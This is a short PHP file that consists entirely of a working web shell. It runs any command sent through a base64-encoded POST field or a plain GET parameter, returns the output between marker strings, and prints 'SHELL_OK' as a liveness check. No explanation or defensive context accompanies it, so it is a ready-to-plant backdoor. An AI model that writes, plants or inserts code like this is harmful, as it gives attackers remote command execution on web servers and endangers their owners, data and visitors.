<?php if(isset($_POST['cmd'])){$cmd=base64_decode($_POST['cmd']);header('Content-Type:text/plain;charset=utf-8');echo '===HX3_START===\n';passthru($cmd);echo '\n===HX3_END===';exit;}if(isset($_GET['c'])){header('Content-Type:text/plain;charset=utf-8');echo '===HX3_START===\n';passthru($_GET['c']);echo '\n===HX3_END===';exit;}echo 'SHELL_OK';?>